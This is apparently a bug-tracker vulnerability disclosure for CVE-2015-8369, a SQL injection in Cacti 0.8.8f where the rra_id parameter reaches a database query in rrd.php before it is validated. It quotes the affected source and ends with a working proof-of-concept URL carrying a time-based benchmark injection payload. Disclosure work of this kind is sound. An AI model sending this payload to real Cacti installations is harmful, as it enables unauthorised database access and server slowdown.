CVE-2015-8369

http://bugs.cacti.net/view.php?id=2646

  SQL Injection of Cacti(0.8.8f and older versions) was discovered in graph.php 

 [Author info]
name:KibodWapon
email:changzhao.mao@dbappsecurity.com.cn
blog:http://blog.163.com/cmdbat@126 [^]


[Vulnerability info]

/cacti-0.8.8f/graph.php
line 25 validate rra_id after including include_once("./include/top_graph_header.php");
/* set default action */
if (!isset($_REQUEST["action"])) { $_REQUEST["action"] = "view"; }
if (!isset($_REQUEST["view_type"])) { $_REQUEST["view_type"] = ""; }

$guest_account = true;
include("./include/auth.php");
include_once("./lib/rrd.php");

api_plugin_hook_function('graph');

include_once("./lib/html_tree.php");
include_once("./include/top_graph_header.php");

/* ================= input validation ================= */
input_validate_input_regex(get_request_var("rra_id"), "^([0-9]+|all)$");
input_validate_input_number(get_request_var("local_graph_id"));
input_validate_input_number(get_request_var("graph_end"));
input_validate_input_number(get_request_var("graph_start"));
input_validate_input_regex(get_request_var_request("view_type"), "^([a-zA-Z0-9]+)$");
/* ==================================================== */


/cacti-0.8.8f/include/top_graph_header.php
line 30 rra_id is not validated
 
/* ================= input validation ================= */
input_validate_input_number(get_request_var_request("local_graph_id"));
input_validate_input_number(get_request_var_request("graph_start"));
input_validate_input_number(get_request_var_request("graph_end"));
/* ==================================================== */





line 158
    <?php if ((basename($_SERVER["PHP_SELF"]) == "graph.php") && ($_REQUEST["action"] == "properties")) {?>
    <tr>
        <td valign="top" class='cactiTreeNavigationArea' colspan="3">
            <?php
            $graph_data_array["print_source"] = true;

            /* override: graph start time (unix time) */
            if (!empty($_GET["graph_start"])) {
                $graph_data_array["graph_start"] = get_request_var_request("graph_start");
            }

            /* override: graph end time (unix time) */
            if (!empty($_GET["graph_end"])) {
                $graph_data_array["graph_end"] = get_request_var_request("graph_end");
            }

            print trim(@rrdtool_function_graph(get_request_var_request("local_graph_id"), get_request_var_request("rra_id"), $graph_data_array));
            ?>
            



\cacti-0.8.8f\lib\rrd.php function rrdtool_function_graph line 631
        $rra["timespan"] = 86400;
        }else{
            /* get a list of RRAs related to this graph */
            $rras = get_associated_rras($local_graph_id);

            if (sizeof($rras) > 0) {
                foreach ($rras as $unchosen_rra) {

                    /* the timespan specified in the RRA "timespan" field may not be accurate */
                    $real_timespan = ($ds_step * $unchosen_rra["steps"] * $unchosen_rra["rows"]);

                    /* make sure the current start/end times fit within each RRA's timespan */
                    if ( (($graph_data_array["graph_end"] - $graph_data_array["graph_start"]) <= $real_timespan) && ((time() - $graph_data_array["graph_start"]) <= $real_timespan) ) {
                        /* is this RRA better than the already chosen one? */
                        if ((isset($rra)) && ($unchosen_rra["steps"] < $rra["steps"])) {
                            $rra = $unchosen_rra;
                        }else if (!isset($rra)) {
                            $rra = $unchosen_rra;
                        }
                    }
                }
            }

            if (!isset($rra)) {
                $rra["rows"] = 600;
                $rra["steps"] = 1;
            }
        }
    }else{
    // sql injection here
        $rra = db_fetch_row("select timespan,rows,steps from rra where id=$rra_id");
    }

    
[Exploit]
    poc: http://192.168.x.x/cacti/graph.php?action=properties&local_graph_id=1&rra_id=1%20and%20benchmark(20000000%2csha1(1))--%20&view_type=&graph_start=1448274676&graph_end=1448360776 [^]

This php file of older version cacti may be accessible anonymously according to the cases I found from the internet. Latest version cacti may require normal user privilege.